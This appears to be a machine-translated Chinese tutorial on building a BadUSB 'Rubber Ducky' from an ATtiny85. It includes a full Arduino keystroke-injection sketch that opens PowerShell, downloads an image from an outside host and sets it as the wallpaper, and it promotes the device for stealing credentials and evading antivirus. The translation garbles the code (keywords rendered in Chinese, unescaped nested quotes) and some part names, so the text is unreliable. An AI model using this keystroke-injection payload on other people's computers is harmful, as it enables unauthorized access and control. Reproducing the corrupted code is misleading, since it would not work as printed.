USB Rubber Ducky 或 Bad USB 是一種著名的攻擊工具,它看起來像 USB 筆式驅(qū)動器,但在插入任何未鎖定的設(shè)備時就像鍵盤一樣。USB Rubber Ducky允許攻擊者對 USB 設(shè)備中的微控制器進行編程以執(zhí)行各種任務(wù)。它可以通過編程將擊鍵和二進制文件注入系統(tǒng),獲取緩存的密碼以破解系統(tǒng),竊取受害者的基本和憑證數(shù)據(jù),并可以將橡皮鴨有效載荷注入受害者的系統(tǒng)。USB Rubber Ducky 最重要的特點是它無法被任何防病毒或系統(tǒng)防火墻檢測到,因為它充當(dāng) HID 設(shè)備。
USB Rubber Ducky 并非在每個國家都容易買到,而且價格也非常昂貴。所以在這個項目中,我們將使用 ATtiny85 微控制器 IC構(gòu)建一個Digispark Rubber Ducky 。該項目由兩部分組成,第一部分是在 ATtiny85 IC 上上傳引導(dǎo)加載程序,第二部分是將 USB 型公連接器與 ATtiny85 連接。
構(gòu)建 USB Rubber Ducky 所需的組件
閣樓85 IC
USB A型插頭公
3 個電阻器(2×47Ω 和 1×1 KΩ)
8 針 IC 底座
性能板
連接電線
USB橡皮鴨電路圖
ATtiny85 Rubber Ducky USB的原理圖如下所示。
R3 是一個上拉電阻,連接在 IC 的 Vcc 和 PB3 引腳之間,同時添加了齊納二極管 (D1-D2) 以提供全面的 USB 接口保護。這些保護二極管不是必需的,因此如果您想構(gòu)建比這更緊湊的電路,可以將它們移除。
注意:需要在 ATtiny85 上上傳引導(dǎo)加載程序才能使用 USB 對其進行編程。因此,請按照我們之前關(guān)于如何通過 USB 對 ATtiny85 IC 進行編程的教程進行操作。
在 perf 板上焊接所有組件后,它將如下所示:
ATtiny85 USB 3D 打印外殼
接下來,使用游標測量設(shè)置的尺寸以設(shè)計外殼。完成后,我的設(shè)計看起來像這樣:
對設(shè)計滿意后,我將其導(dǎo)出為 STL 文件,根據(jù)打印機設(shè)置對其進行切片,最后打印出來。STL 文件也可以從 Thingiverse 下載,您可以使用它打印自己的外殼。
打印完成后,我繼續(xù)將項目組裝在一個永久性的外殼中以備將來使用。完成連接后,我將電路組裝到我的外殼中,如下所示,一切都非常合適。
安裝 Digispark 驅(qū)動程序
要使用 USB 對 ATtiny85 進行編程,您必須在筆記本電腦上安裝 Digispark 驅(qū)動程序。如果您沒有它們,您可以通過單擊鏈接 Digispark Drivers下載它。然后,解壓縮 zip 文件并雙擊“ DPinst64.exe ”應(yīng)用程序以安裝驅(qū)動程序。
成功安裝驅(qū)動程序后,將 ATtiny85 板插入筆記本電腦?,F(xiàn)在,轉(zhuǎn)到設(shè)備管理器,您的設(shè)備將在“l(fā)ibusb-win32 設(shè)備”下列為“Digispark Boot-loader”。如果您在設(shè)備管理器中找不到“l(fā)ibusb-win32 設(shè)備”,請轉(zhuǎn)到“查看”并單擊“顯示隱藏的設(shè)備”。
設(shè)置 Arduino IDE
要使用 Arduino IDE 對 ATtiny85 板進行編程,首先,我們需要將 Digispark 板支持添加到 Arduino IDE。為此,請轉(zhuǎn)到文件 》 首選項并在 Additional Boards Manager URL 中添加以下鏈接,然后單擊“確定”。
http://digistump.com/package_digistump_index.json
之后,轉(zhuǎn)到工具 》 板 》 板管理器并搜索“Digistump AVR”并安裝最新版本。
安裝后,您將能夠在 Board 菜單中看到一個名為‘Digispark’的新條目。
為 Rubber Ducky USB 編程 ATtiny85
安裝驅(qū)動程序并設(shè)置 Arduino IDE 后,現(xiàn)在我們將對 ATtiny85 進行編程以下載圖像并通過 Windows PowerShell 將其設(shè)置為墻紙。完整的腳本在文檔末尾給出;在這里,我們將解釋腳本的一些重要命令。
因此,通過包含“?DigiKeyboard.h?”庫來啟動代碼。DigiKeyboard 庫使 ATtiny85 能夠通過其 micro 的本機 USB 端口將擊鍵發(fā)送到連接的計算機。
?
#include "DigiKeyboard.h"
?
然后在循環(huán)功能中,發(fā)送一個按鍵以顯示桌面(Windows+ D),一段時間后,通過發(fā)送一個 Windows+ R 按鍵打開運行對話框。
?
DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
?
然后使用DigiKeyboard.print()?函數(shù)轉(zhuǎn)到 Windows Powershell。
?
DigiKeyboard.print("powershell"); DigiKeyboard.sendKeyStroke(KEY_ENTER);
?
現(xiàn)在在 Powershell 中,使用System.Net.WebClient類下載 Internet 數(shù)據(jù)。
?
DigiKeyboard.print("$client = new-object System.Net.WebClient"); DigiKeyboard.sendKeyStroke(KEY_ENTER);
?
然后在下一個命令中,輸入帶有文件名(hacker.jpg)的圖像地址,以將其保存在您的筆記本電腦上。
?
DigiKeyboard.print("$client.DownloadFile("https://cdn.hipwallpaper.com/i/50/39/7r5nC6.jpg" , "hacker.jpg")"); DigiKeyboard.sendKeyStroke(KEY_ENTER);
?
然后在接下來的幾行中,打開控制面板并將下載的圖像設(shè)置為墻紙。
?
DigiKeyboard.print("reg add "HKCU\\Control Panel\\Desktop" /v WallPaper /d "%USERPROFILE%\\hacker.jpg" /f"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True");
?
測試 ATtiny85 Rubber Ducky
完成這些步驟后,創(chuàng)建一個新草圖并在 IDE 中復(fù)制和粘貼給定的代碼。然后選擇“ Digispark (Default – 16mhz) ”作為板卡類型并點擊左上角的上傳按鈕。草圖將被編譯,然后 Arduino IDE 將提示您在 60 秒內(nèi)插入 ATtiny85 USB。
插入 ATtiny85 USB 后,Arduino IDE 會將代碼上傳到微控制器,然后執(zhí)行微控制器給出的命令來更改筆記本電腦的壁紙。這只是 USB Rubber Ducky 工作原理的一個示例,但可以通過它完成很多事情。我會讓你的想象力解決這個問題!
#include "DigiKeyboard.h"
無效設(shè)置(){
//空的
}
無效循環(huán)(){
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("$client = new-object System.Net.WebClient");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("$client.DownloadFile("https://images.alphacoders.com/156/156893.jpg" , "hacked3.jpg")");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("reg add "HKCU\\Control Panel\\Desktop" /v WallPaper /d "%USERPROFILE%\\hacked3.jpg" /f");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("退出");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*空*/ }
}
評論
查看更多